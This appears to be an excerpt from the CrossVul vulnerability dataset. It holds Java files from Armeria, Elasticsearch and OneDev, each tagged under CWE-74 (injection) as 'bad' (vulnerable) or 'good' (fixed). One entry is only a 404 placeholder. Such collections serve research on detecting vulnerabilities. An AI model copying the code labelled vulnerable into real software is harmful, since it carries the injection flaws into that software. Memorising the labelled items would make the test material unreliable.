* The HTTP {@code "WWW-Authenticate"} header field name.
*/
public static final AsciiString WWW_AUTHENTICATE = create("WWW-Authenticate");
// Common, non-standard HTTP header fields
/**
* The HTTP {@code "DNT"} header field name.
*/
public static final AsciiString DNT = create("DNT");
/**
* The HTTP {@code "X-Content-Type-Options"} header field name.
*/
public static final AsciiString X_CONTENT_TYPE_OPTIONS = create("X-Content-Type-Options");
/**
* The HTTP {@code "X-Do-Not-Track"} header field name.
*/
public static final AsciiString X_DO_NOT_TRACK = create("X-Do-Not-Track");
/**
* The HTTP {@code "X-Forwarded-For"} header field name (superseded by {@code "Forwarded"}).
*/
public static final AsciiString X_FORWARDED_FOR = create("X-Forwarded-For");
/**
* The HTTP {@code "X-Forwarded-Proto"} header field name.
*/
public static final AsciiString X_FORWARDED_PROTO = create("X-Forwarded-Proto");
/**
* The HTTP <a href="https://goo.gl/lQirAH">{@code "X-Forwarded-Host"}</a> header field name.
*/
public static final AsciiString X_FORWARDED_HOST = create("X-Forwarded-Host");
/**
* The HTTP <a href="https://goo.gl/YtV2at">{@code "X-Forwarded-Port"}</a> header field name.
*/
public static final AsciiString X_FORWARDED_PORT = create("X-Forwarded-Port");
/**
* The HTTP {@code "X-Frame-Options"} header field name.
*/
public static final AsciiString X_FRAME_OPTIONS = create("X-Frame-Options");
/**
* The HTTP {@code "X-Powered-By"} header field name.
*/
public static final AsciiString X_POWERED_BY = create("X-Powered-By");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc7469">{@code
* Public-Key-Pins}</a> header field name.
*/
public static final AsciiString PUBLIC_KEY_PINS = create("Public-Key-Pins");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc7469">{@code
* Public-Key-Pins-Report-Only}</a> header field name.
*/
public static final AsciiString PUBLIC_KEY_PINS_REPORT_ONLY = create("Public-Key-Pins-Report-Only");
/**
* The HTTP {@code "X-Requested-With"} header field name.
*/
public static final AsciiString X_REQUESTED_WITH = create("X-Requested-With");
/**
* The HTTP {@code "X-User-IP"} header field name.
*/
public static final AsciiString X_USER_IP = create("X-User-IP");
/**
* The HTTP <a href="https://goo.gl/VKpXxa">{@code "X-Download-Options"}</a> header field name.
*
* <p>When the new X-Download-Options header is present with the value {@code "noopen"}, the user is
* prevented from opening a file download directly; instead, they must first save the file
* locally.
*/
public static final AsciiString X_DOWNLOAD_OPTIONS = create("X-Download-Options");
/**
* The HTTP {@code "X-XSS-Protection"} header field name.
*/
public static final AsciiString X_XSS_PROTECTION = create("X-XSS-Protection");
/**
* The HTTP <a
* href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control">{@code
* X-DNS-Prefetch-Control}</a> header controls DNS prefetch behavior. Value can be "on" or "off".
* By default, DNS prefetching is "on" for HTTP pages and "off" for HTTPS pages.
*/
public static final AsciiString X_DNS_PREFETCH_CONTROL = create("X-DNS-Prefetch-Control");
/**
* The HTTP <a href="https://html.spec.whatwg.org/multipage/semantics.html#hyperlink-auditing">
* {@code "Ping-From"}</a> header field name.
*/
public static final AsciiString PING_FROM = create("Ping-From");
/**
* The HTTP <a href="https://html.spec.whatwg.org/multipage/semantics.html#hyperlink-auditing">
* {@code "Ping-To"}</a> header field name.
*/
public static final AsciiString PING_TO = create("Ping-To");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc8473">{@code
* Sec-Token-Binding}</a> header field name.
*/
public static final AsciiString SEC_TOKEN_BINDING = create("Sec-Token-Binding");
/**
* The HTTP <a href="https://tools.ietf.org/html/draft-ietf-tokbind-ttrp">{@code
* Sec-Provided-Token-Binding-ID}</a> header field name.
*/
public static final AsciiString SEC_PROVIDED_TOKEN_BINDING_ID = create("Sec-Provided-Token-Binding-ID");
/**
* The HTTP <a href="https://tools.ietf.org/html/draft-ietf-tokbind-ttrp">{@code
* Sec-Referred-Token-Binding-ID}</a> header field name.
*/
public static final AsciiString SEC_REFERRED_TOKEN_BINDING_ID = create("Sec-Referred-Token-Binding-ID");
private static final Map<CharSequence, AsciiString> map;
static {
final ImmutableMap.Builder<CharSequence, AsciiString> builder = ImmutableMap.builder();
for (Field f : HttpHeaderNames.class.getDeclaredFields()) {
final int m = f.getModifiers();
if (Modifier.isPublic(m) && Modifier.isStatic(m) && Modifier.isFinal(m) &&
f.getType() == AsciiString.class) {
final AsciiString name;
try {
name = (AsciiString) f.get(null);
} catch (Exception e) {
throw new Error(e);
}
builder.put(name, name);
builder.put(name.toString(), name);
}
}
map = builder.build();
}
/**
* Lower-cases and converts the specified header name into an {@link AsciiString}. If {@code "name"} is
* a known header name, this method will return a pre-instantiated {@link AsciiString} to reduce
* the allocation rate of {@link AsciiString}.
*/
public static AsciiString of(CharSequence name) {
if (name instanceof AsciiString) {
return of((AsciiString) name);
}
final String lowerCased = Ascii.toLowerCase(requireNonNull(name, "name"));
final AsciiString cached = map.get(lowerCased);
return cached != null ? cached : AsciiString.cached(lowerCased);
}
/**
* Lower-cases and converts the specified header name into an {@link AsciiString}. If {@code "name"} is
* a known header name, this method will return a pre-instantiated {@link AsciiString} to reduce
* the allocation rate of {@link AsciiString}.
*/
public static AsciiString of(AsciiString name) {
final AsciiString lowerCased = name.toLowerCase();
final AsciiString cached = map.get(lowerCased);
return cached != null ? cached : lowerCased;
}
private static AsciiString create(String name) {
return AsciiString.cached(Ascii.toLowerCase(name));
}
private HttpHeaderNames() {}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1112_0
|
crossvul-java_data_good_1678_1
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.common.io;
import java.io.*;
/**
*
*/
public class ThrowableObjectOutputStream extends ObjectOutputStream {
static final int TYPE_FAT_DESCRIPTOR = 0;
static final int TYPE_THIN_DESCRIPTOR = 1;
private static final String EXCEPTION_CLASSNAME = Exception.class.getName();
static final int TYPE_EXCEPTION = 2;
private static final String STACKTRACEELEMENT_CLASSNAME = StackTraceElement.class.getName();
static final int TYPE_STACKTRACEELEMENT = 3;
public ThrowableObjectOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void writeStreamHeader() throws IOException {
writeByte(STREAM_VERSION);
}
@Override
protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
if (desc.getName().equals(EXCEPTION_CLASSNAME)) {
write(TYPE_EXCEPTION);
} else if (desc.getName().equals(STACKTRACEELEMENT_CLASSNAME)) {
write(TYPE_STACKTRACEELEMENT);
} else {
Class<?> clazz = desc.forClass();
if (clazz.isPrimitive() || clazz.isArray()) {
write(TYPE_FAT_DESCRIPTOR);
super.writeClassDescriptor(desc);
} else {
write(TYPE_THIN_DESCRIPTOR);
writeUTF(desc.getName());
}
}
}
/**
* Simple helper method to roundtrip a serializable object within the ThrowableObjectInput/Output stream
*/
public static <T extends Serializable> T serialize(T t) throws IOException, ClassNotFoundException {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
try (ThrowableObjectOutputStream outputStream = new ThrowableObjectOutputStream(stream)) {
outputStream.writeObject(t);
}
try (ThrowableObjectInputStream in = new ThrowableObjectInputStream(new ByteArrayInputStream(stream.toByteArray()))) {
return (T) in.readObject();
}
}
/**
* Returns <code>true</code> iff the exception can be serialized and deserialized using
* {@link ThrowableObjectOutputStream} and {@link ThrowableObjectInputStream}. Otherwise <code>false</code>
*/
public static boolean canSerialize(Throwable t) {
try {
serialize(t);
return true;
} catch (Throwable throwable) {
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_1
|
crossvul-java_data_bad_4390_4
|
404: Not Found
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_4
|
crossvul-java_data_good_1895_0
|
package io.onedev.server;
import java.io.Serializable;
import java.lang.reflect.AnnotatedElement;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.ForkJoinPool;
import java.util.concurrent.ForkJoinTask;
import java.util.concurrent.Future;
import java.util.concurrent.RejectedExecutionException;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import javax.inject.Singleton;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.EntityNotFoundException;
import javax.persistence.OneToMany;
import javax.persistence.Transient;
import javax.persistence.Version;
import javax.validation.Configuration;
import javax.validation.Validation;
import javax.validation.Validator;
import javax.validation.ValidatorFactory;
import org.apache.shiro.authc.credential.PasswordService;
import org.apache.shiro.authz.UnauthorizedException;
import org.apache.shiro.guice.aop.ShiroAopModule;
import org.apache.shiro.mgt.RememberMeManager;
import org.apache.shiro.realm.Realm;
import org.apache.shiro.web.filter.mgt.FilterChainManager;
import org.apache.shiro.web.filter.mgt.FilterChainResolver;
import org.apache.shiro.web.mgt.WebSecurityManager;
import org.apache.shiro.web.servlet.ShiroFilter;
import org.apache.wicket.Application;
import org.apache.wicket.core.request.mapper.StalePageException;
import org.apache.wicket.protocol.http.PageExpiredException;
import org.apache.wicket.protocol.http.WebApplication;
import org.apache.wicket.protocol.http.WicketFilter;
import org.apache.wicket.protocol.http.WicketServlet;
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.websocket.api.WebSocketPolicy;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.servlet.ServletContainer;
import org.hibernate.CallbackException;
import org.hibernate.Interceptor;
import org.hibernate.ObjectNotFoundException;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.StaleStateException;
import org.hibernate.boot.model.naming.PhysicalNamingStrategy;
import org.hibernate.collection.internal.PersistentBag;
import org.hibernate.exception.ConstraintViolationException;
import org.hibernate.type.Type;
import org.hibernate.validator.messageinterpolation.ParameterMessageInterpolator;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.Lists;
import com.google.common.collect.Sets;
import com.google.inject.Provider;
import com.google.inject.matcher.AbstractMatcher;
import com.google.inject.matcher.Matchers;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.annotations.XStreamOmitField;
import com.thoughtworks.xstream.converters.basic.NullConverter;
import com.thoughtworks.xstream.converters.extended.ISO8601DateConverter;
import com.thoughtworks.xstream.converters.extended.ISO8601SqlTimestampConverter;
import com.thoughtworks.xstream.converters.reflection.ReflectionProvider;
import com.thoughtworks.xstream.core.JVM;
import com.thoughtworks.xstream.mapper.MapperWrapper;
import com.vladsch.flexmark.Extension;
import io.onedev.commons.launcher.bootstrap.Bootstrap;
import io.onedev.commons.launcher.loader.AbstractPlugin;
import io.onedev.commons.launcher.loader.AbstractPluginModule;
import io.onedev.commons.launcher.loader.ImplementationProvider;
import io.onedev.commons.utils.ExceptionUtils;
import io.onedev.commons.utils.StringUtils;
import io.onedev.server.buildspec.job.DefaultJobManager;
import io.onedev.server.buildspec.job.JobManager;
import io.onedev.server.buildspec.job.log.DefaultLogManager;
import io.onedev.server.buildspec.job.log.LogManager;
import io.onedev.server.buildspec.job.log.instruction.LogInstruction;
import io.onedev.server.entitymanager.BuildDependenceManager;
import io.onedev.server.entitymanager.BuildManager;
import io.onedev.server.entitymanager.BuildParamManager;
import io.onedev.server.entitymanager.BuildQuerySettingManager;
import io.onedev.server.entitymanager.CodeCommentManager;
import io.onedev.server.entitymanager.CodeCommentQuerySettingManager;
import io.onedev.server.entitymanager.CodeCommentRelationManager;
import io.onedev.server.entitymanager.CodeCommentReplyManager;
import io.onedev.server.entitymanager.CommitQuerySettingManager;
import io.onedev.server.entitymanager.GroupAuthorizationManager;
import io.onedev.server.entitymanager.GroupManager;
import io.onedev.server.entitymanager.IssueChangeManager;
import io.onedev.server.entitymanager.IssueCommentManager;
import io.onedev.server.entitymanager.IssueFieldManager;
import io.onedev.server.entitymanager.IssueManager;
import io.onedev.server.entitymanager.IssueQuerySettingManager;
import io.onedev.server.entitymanager.IssueVoteManager;
import io.onedev.server.entitymanager.IssueWatchManager;
import io.onedev.server.entitymanager.MembershipManager;
import io.onedev.server.entitymanager.MilestoneManager;
import io.onedev.server.entitymanager.ProjectManager;
import io.onedev.server.entitymanager.PullRequestBuildManager;
import io.onedev.server.entitymanager.PullRequestChangeManager;
import io.onedev.server.entitymanager.PullRequestCommentManager;
import io.onedev.server.entitymanager.PullRequestManager;
import io.onedev.server.entitymanager.PullRequestQuerySettingManager;
import io.onedev.server.entitymanager.PullRequestReviewManager;
import io.onedev.server.entitymanager.PullRequestUpdateManager;
import io.onedev.server.entitymanager.PullRequestWatchManager;
import io.onedev.server.entitymanager.RoleManager;
import io.onedev.server.entitymanager.SettingManager;
import io.onedev.server.entitymanager.UrlManager;
import io.onedev.server.entitymanager.UserAuthorizationManager;
import io.onedev.server.entitymanager.UserManager;
import io.onedev.server.entitymanager.impl.DefaultBuildDependenceManager;
import io.onedev.server.entitymanager.impl.DefaultBuildManager;
import io.onedev.server.entitymanager.impl.DefaultBuildParamManager;
import io.onedev.server.entitymanager.impl.DefaultBuildQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultCodeCommentManager;
import io.onedev.server.entitymanager.impl.DefaultCodeCommentQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultCodeCommentRelationManager;
import io.onedev.server.entitymanager.impl.DefaultCodeCommentReplyManager;
import io.onedev.server.entitymanager.impl.DefaultCommitQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultGroupAuthorizationManager;
import io.onedev.server.entitymanager.impl.DefaultGroupManager;
import io.onedev.server.entitymanager.impl.DefaultIssueChangeManager;
import io.onedev.server.entitymanager.impl.DefaultIssueCommentManager;
import io.onedev.server.entitymanager.impl.DefaultIssueFieldManager;
import io.onedev.server.entitymanager.impl.DefaultIssueManager;
import io.onedev.server.entitymanager.impl.DefaultIssueQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultIssueVoteManager;
import io.onedev.server.entitymanager.impl.DefaultIssueWatchManager;
import io.onedev.server.entitymanager.impl.DefaultMembershipManager;
import io.onedev.server.entitymanager.impl.DefaultMilestoneManager;
import io.onedev.server.entitymanager.impl.DefaultProjectManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestBuildManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestChangeManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestCommentManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestReviewManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestUpdateManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestWatchManager;
import io.onedev.server.entitymanager.impl.DefaultRoleManager;
import io.onedev.server.entitymanager.impl.DefaultSettingManager;
import io.onedev.server.entitymanager.impl.DefaultUserAuthorizationManager;
import io.onedev.server.entitymanager.impl.DefaultUserManager;
import io.onedev.server.git.GitFilter;
import io.onedev.server.git.GitPostReceiveCallback;
import io.onedev.server.git.GitPreReceiveCallback;
import io.onedev.server.git.config.GitConfig;
import io.onedev.server.infomanager.CodeCommentRelationInfoManager;
import io.onedev.server.infomanager.CommitInfoManager;
import io.onedev.server.infomanager.DefaultCodeCommentRelationInfoManager;
import io.onedev.server.infomanager.DefaultCommitInfoManager;
import io.onedev.server.infomanager.DefaultUserInfoManager;
import io.onedev.server.infomanager.UserInfoManager;
import io.onedev.server.maintenance.ApplyDatabaseConstraints;
import io.onedev.server.maintenance.BackupDatabase;
import io.onedev.server.maintenance.CheckDataVersion;
import io.onedev.server.maintenance.CleanDatabase;
import io.onedev.server.maintenance.DataManager;
import io.onedev.server.maintenance.DefaultDataManager;
import io.onedev.server.maintenance.ResetAdminPassword;
import io.onedev.server.maintenance.RestoreDatabase;
import io.onedev.server.maintenance.Upgrade;
import io.onedev.server.model.support.administration.GroovyScript;
import io.onedev.server.model.support.administration.authenticator.Authenticator;
import io.onedev.server.model.support.administration.jobexecutor.AutoDiscoveredJobExecutor;
import io.onedev.server.model.support.administration.jobexecutor.JobExecutor;
import io.onedev.server.notification.BuildNotificationManager;
import io.onedev.server.notification.CodeCommentNotificationManager;
import io.onedev.server.notification.CommitNotificationManager;
import io.onedev.server.notification.DefaultMailManager;
import io.onedev.server.notification.IssueNotificationManager;
import io.onedev.server.notification.MailManager;
import io.onedev.server.notification.PullRequestNotificationManager;
import io.onedev.server.notification.WebHookManager;
import io.onedev.server.persistence.DefaultIdManager;
import io.onedev.server.persistence.DefaultPersistManager;
import io.onedev.server.persistence.DefaultSessionManager;
import io.onedev.server.persistence.DefaultTransactionManager;
import io.onedev.server.persistence.HibernateInterceptor;
import io.onedev.server.persistence.IdManager;
import io.onedev.server.persistence.PersistListener;
import io.onedev.server.persistence.PersistManager;
import io.onedev.server.persistence.PrefixedNamingStrategy;
import io.onedev.server.persistence.SessionFactoryProvider;
import io.onedev.server.persistence.SessionInterceptor;
import io.onedev.server.persistence.SessionManager;
import io.onedev.server.persistence.SessionProvider;
import io.onedev.server.persistence.TransactionInterceptor;
import io.onedev.server.persistence.TransactionManager;
import io.onedev.server.persistence.annotation.Sessional;
import io.onedev.server.persistence.annotation.Transactional;
import io.onedev.server.persistence.dao.Dao;
import io.onedev.server.persistence.dao.DefaultDao;
import io.onedev.server.rest.RestConstants;
import io.onedev.server.rest.jersey.DefaultServletContainer;
import io.onedev.server.rest.jersey.JerseyConfigurator;
import io.onedev.server.rest.jersey.ResourceConfigProvider;
import io.onedev.server.search.code.DefaultIndexManager;
import io.onedev.server.search.code.DefaultSearchManager;
import io.onedev.server.search.code.IndexManager;
import io.onedev.server.search.code.SearchManager;
import io.onedev.server.security.BasicAuthenticationFilter;
import io.onedev.server.security.CodePullAuthorizationSource;
import io.onedev.server.security.FilterChainConfigurator;
import io.onedev.server.security.OneAuthorizingRealm;
import io.onedev.server.security.OneFilterChainResolver;
import io.onedev.server.security.OnePasswordService;
import io.onedev.server.security.OneRememberMeManager;
import io.onedev.server.security.OneWebSecurityManager;
import io.onedev.server.storage.AttachmentStorageManager;
import io.onedev.server.storage.DefaultAttachmentStorageManager;
import io.onedev.server.storage.DefaultStorageManager;
import io.onedev.server.storage.StorageManager;
import io.onedev.server.util.SecurityUtils;
import io.onedev.server.util.jackson.ObjectMapperConfigurator;
import io.onedev.server.util.jackson.ObjectMapperProvider;
import io.onedev.server.util.jackson.git.GitObjectMapperConfigurator;
import io.onedev.server.util.jackson.hibernate.HibernateObjectMapperConfigurator;
import io.onedev.server.util.jetty.DefaultJettyRunner;
import io.onedev.server.util.jetty.JettyRunner;
import io.onedev.server.util.markdown.DefaultMarkdownManager;
import io.onedev.server.util.markdown.EntityReferenceManager;
import io.onedev.server.util.markdown.MarkdownManager;
import io.onedev.server.util.markdown.MarkdownProcessor;
import io.onedev.server.util.schedule.DefaultTaskScheduler;
import io.onedev.server.util.schedule.TaskScheduler;
import io.onedev.server.util.script.ScriptContribution;
import io.onedev.server.util.validation.DefaultEntityValidator;
import io.onedev.server.util.validation.EntityValidator;
import io.onedev.server.util.validation.ValidatorProvider;
import io.onedev.server.util.work.BatchWorkManager;
import io.onedev.server.util.work.DefaultBatchWorkManager;
import io.onedev.server.util.work.DefaultWorkExecutor;
import io.onedev.server.util.work.WorkExecutor;
import io.onedev.server.util.xstream.CollectionConverter;
import io.onedev.server.util.xstream.HibernateProxyConverter;
import io.onedev.server.util.xstream.MapConverter;
import io.onedev.server.util.xstream.ReflectionConverter;
import io.onedev.server.util.xstream.StringConverter;
import io.onedev.server.util.xstream.VersionedDocumentConverter;
import io.onedev.server.web.DefaultUrlManager;
import io.onedev.server.web.DefaultWicketFilter;
import io.onedev.server.web.DefaultWicketServlet;
import io.onedev.server.web.ExpectedExceptionContribution;
import io.onedev.server.web.OneWebApplication;
import io.onedev.server.web.ResourcePackScopeContribution;
import io.onedev.server.web.WebApplicationConfigurator;
import io.onedev.server.web.avatar.AvatarManager;
import io.onedev.server.web.avatar.DefaultAvatarManager;
import io.onedev.server.web.component.diff.DiffRenderer;
import io.onedev.server.web.component.markdown.AttachmentUploadServlet;
import io.onedev.server.web.component.markdown.SourcePositionTrackExtension;
import io.onedev.server.web.component.markdown.emoji.EmojiExtension;
import io.onedev.server.web.component.taskbutton.TaskButton;
import io.onedev.server.web.editable.DefaultEditSupportRegistry;
import io.onedev.server.web.editable.EditSupport;
import io.onedev.server.web.editable.EditSupportLocator;
import io.onedev.server.web.editable.EditSupportRegistry;
import io.onedev.server.web.mapper.OnePageMapper;
import io.onedev.server.web.page.DashboardPage;
import io.onedev.server.web.page.base.BasePage;
import io.onedev.server.web.page.layout.BuildListTab;
import io.onedev.server.web.page.layout.IssueListTab;
import io.onedev.server.web.page.layout.MainTab;
import io.onedev.server.web.page.layout.ProjectListTab;
import io.onedev.server.web.page.layout.PullRequestListTab;
import io.onedev.server.web.page.layout.UICustomization;
import io.onedev.server.web.page.project.blob.render.BlobRendererContribution;
import io.onedev.server.web.page.test.TestPage;
import io.onedev.server.web.websocket.BuildEventBroadcaster;
import io.onedev.server.web.websocket.CodeCommentEventBroadcaster;
import io.onedev.server.web.websocket.CommitIndexedBroadcaster;
import io.onedev.server.web.websocket.DefaultWebSocketManager;
import io.onedev.server.web.websocket.IssueEventBroadcaster;
import io.onedev.server.web.websocket.PullRequestEventBroadcaster;
import io.onedev.server.web.websocket.WebSocketManager;
import io.onedev.server.web.websocket.WebSocketPolicyProvider;
/**
* NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
*
*/
public class CoreModule extends AbstractPluginModule {
@Override
protected void configure() {
super.configure();
bind(JettyRunner.class).to(DefaultJettyRunner.class);
bind(ServletContextHandler.class).toProvider(DefaultJettyRunner.class);
bind(ObjectMapper.class).toProvider(ObjectMapperProvider.class).in(Singleton.class);
bind(ValidatorFactory.class).toProvider(new com.google.inject.Provider<ValidatorFactory>() {
@Override
public ValidatorFactory get() {
Configuration<?> configuration = Validation
.byDefaultProvider()
.configure()
.messageInterpolator(new ParameterMessageInterpolator());
return configuration.buildValidatorFactory();
}
}).in(Singleton.class);
bind(Validator.class).toProvider(ValidatorProvider.class).in(Singleton.class);
// configure markdown
bind(MarkdownManager.class).to(DefaultMarkdownManager.class);
configurePersistence();
configureRestServices();
configureWeb();
configureBuild();
bind(GitConfig.class).toProvider(GitConfigProvider.class);
/*
* Declare bindings explicitly instead of using ImplementedBy annotation as
* HK2 to guice bridge can only search in explicit bindings in Guice
*/
bind(StorageManager.class).to(DefaultStorageManager.class);
bind(SettingManager.class).to(DefaultSettingManager.class);
bind(DataManager.class).to(DefaultDataManager.class);
bind(TaskScheduler.class).to(DefaultTaskScheduler.class);
bind(PullRequestCommentManager.class).to(DefaultPullRequestCommentManager.class);
bind(CodeCommentManager.class).to(DefaultCodeCommentManager.class);
bind(PullRequestManager.class).to(DefaultPullRequestManager.class);
bind(PullRequestUpdateManager.class).to(DefaultPullRequestUpdateManager.class);
bind(ProjectManager.class).to(DefaultProjectManager.class);
bind(UserManager.class).to(DefaultUserManager.class);
bind(PullRequestReviewManager.class).to(DefaultPullRequestReviewManager.class);
bind(BuildManager.class).to(DefaultBuildManager.class);
bind(BuildDependenceManager.class).to(DefaultBuildDependenceManager.class);
bind(JobManager.class).to(DefaultJobManager.class);
bind(LogManager.class).to(DefaultLogManager.class);
bind(PullRequestBuildManager.class).to(DefaultPullRequestBuildManager.class);
bind(MailManager.class).to(DefaultMailManager.class);
bind(IssueManager.class).to(DefaultIssueManager.class);
bind(IssueFieldManager.class).to(DefaultIssueFieldManager.class);
bind(BuildParamManager.class).to(DefaultBuildParamManager.class);
bind(UserAuthorizationManager.class).to(DefaultUserAuthorizationManager.class);
bind(GroupAuthorizationManager.class).to(DefaultGroupAuthorizationManager.class);
bind(PullRequestWatchManager.class).to(DefaultPullRequestWatchManager.class);
bind(RoleManager.class).to(DefaultRoleManager.class);
bind(CommitInfoManager.class).to(DefaultCommitInfoManager.class);
bind(UserInfoManager.class).to(DefaultUserInfoManager.class);
bind(BatchWorkManager.class).to(DefaultBatchWorkManager.class);
bind(GroupManager.class).to(DefaultGroupManager.class);
bind(MembershipManager.class).to(DefaultMembershipManager.class);
bind(PullRequestChangeManager.class).to(DefaultPullRequestChangeManager.class);
bind(CodeCommentReplyManager.class).to(DefaultCodeCommentReplyManager.class);
bind(AttachmentStorageManager.class).to(DefaultAttachmentStorageManager.class);
bind(CodeCommentRelationInfoManager.class).to(DefaultCodeCommentRelationInfoManager.class);
bind(CodeCommentRelationManager.class).to(DefaultCodeCommentRelationManager.class);
bind(WorkExecutor.class).to(DefaultWorkExecutor.class);
bind(PullRequestNotificationManager.class);
bind(CommitNotificationManager.class);
bind(BuildNotificationManager.class);
bind(IssueNotificationManager.class);
bind(EntityReferenceManager.class);
bind(CodeCommentNotificationManager.class);
bind(CodeCommentManager.class).to(DefaultCodeCommentManager.class);
bind(IssueWatchManager.class).to(DefaultIssueWatchManager.class);
bind(IssueChangeManager.class).to(DefaultIssueChangeManager.class);
bind(IssueVoteManager.class).to(DefaultIssueVoteManager.class);
bind(MilestoneManager.class).to(DefaultMilestoneManager.class);
bind(Session.class).toProvider(SessionProvider.class);
bind(EntityManager.class).toProvider(SessionProvider.class);
bind(SessionFactory.class).toProvider(SessionFactoryProvider.class);
bind(EntityManagerFactory.class).toProvider(SessionFactoryProvider.class);
bind(IssueCommentManager.class).to(DefaultIssueCommentManager.class);
bind(IssueQuerySettingManager.class).to(DefaultIssueQuerySettingManager.class);
bind(PullRequestQuerySettingManager.class).to(DefaultPullRequestQuerySettingManager.class);
bind(CodeCommentQuerySettingManager.class).to(DefaultCodeCommentQuerySettingManager.class);
bind(CommitQuerySettingManager.class).to(DefaultCommitQuerySettingManager.class);
bind(BuildQuerySettingManager.class).to(DefaultBuildQuerySettingManager.class);
bind(WebHookManager.class);
contribute(ObjectMapperConfigurator.class, GitObjectMapperConfigurator.class);
contribute(ObjectMapperConfigurator.class, HibernateObjectMapperConfigurator.class);
bind(Realm.class).to(OneAuthorizingRealm.class);
bind(RememberMeManager.class).to(OneRememberMeManager.class);
bind(WebSecurityManager.class).to(OneWebSecurityManager.class);
bind(FilterChainResolver.class).to(OneFilterChainResolver.class);
bind(BasicAuthenticationFilter.class);
bind(PasswordService.class).to(OnePasswordService.class);
bind(ShiroFilter.class);
install(new ShiroAopModule());
contribute(FilterChainConfigurator.class, new FilterChainConfigurator() {
@Override
public void configure(FilterChainManager filterChainManager) {
filterChainManager.createChain("/**/info/refs", "noSessionCreation, authcBasic");
filterChainManager.createChain("/**/git-upload-pack", "noSessionCreation, authcBasic");
filterChainManager.createChain("/**/git-receive-pack", "noSessionCreation, authcBasic");
}
});
contributeFromPackage(Authenticator.class, Authenticator.class);
contribute(ImplementationProvider.class, new ImplementationProvider() {
@Override
public Class<?> getAbstractClass() {
return JobExecutor.class;
}
@Override
public Collection<Class<?>> getImplementations() {
return Sets.newHashSet(AutoDiscoveredJobExecutor.class);
}
});
contribute(CodePullAuthorizationSource.class, DefaultJobManager.class);
bind(IndexManager.class).to(DefaultIndexManager.class);
bind(SearchManager.class).to(DefaultSearchManager.class);
bind(EntityValidator.class).to(DefaultEntityValidator.class);
bind(GitFilter.class);
bind(GitPreReceiveCallback.class);
bind(GitPostReceiveCallback.class);
bind(ExecutorService.class).toProvider(new Provider<ExecutorService>() {
@Override
public ExecutorService get() {
return new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS,
new SynchronousQueue<Runnable>()) {
@Override
public void execute(Runnable command) {
try {
super.execute(SecurityUtils.inheritSubject(command));
} catch (RejectedExecutionException e) {
if (!isShutdown())
throw ExceptionUtils.unchecked(e);
}
}
};
}
}).in(Singleton.class);
bind(ForkJoinPool.class).toInstance(new ForkJoinPool() {
@Override
public ForkJoinTask<?> submit(Runnable task) {
return super.submit(SecurityUtils.inheritSubject(task));
}
@Override
public void execute(Runnable task) {
super.execute(SecurityUtils.inheritSubject(task));
}
@Override
public <T> ForkJoinTask<T> submit(Callable<T> task) {
return super.submit(SecurityUtils.inheritSubject(task));
}
@Override
public <T> ForkJoinTask<T> submit(Runnable task, T result) {
return super.submit(SecurityUtils.inheritSubject(task), result);
}
@Override
public <T> T invokeAny(Collection<? extends Callable<T>> tasks)
throws InterruptedException, ExecutionException {
return super.invokeAny(SecurityUtils.inheritSubject(tasks));
}
@Override
public <T> T invokeAny(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
throws InterruptedException, ExecutionException, TimeoutException {
return super.invokeAny(SecurityUtils.inheritSubject(tasks), timeout, unit);
}
@Override
public <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks,
long timeout, TimeUnit unit) throws InterruptedException {
return super.invokeAll(SecurityUtils.inheritSubject(tasks), timeout, unit);
}
@Override
public <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks) {
return super.invokeAll(SecurityUtils.inheritSubject(tasks));
}
});
}
private void configureRestServices() {
bind(ResourceConfig.class).toProvider(ResourceConfigProvider.class).in(Singleton.class);
bind(ServletContainer.class).to(DefaultServletContainer.class);
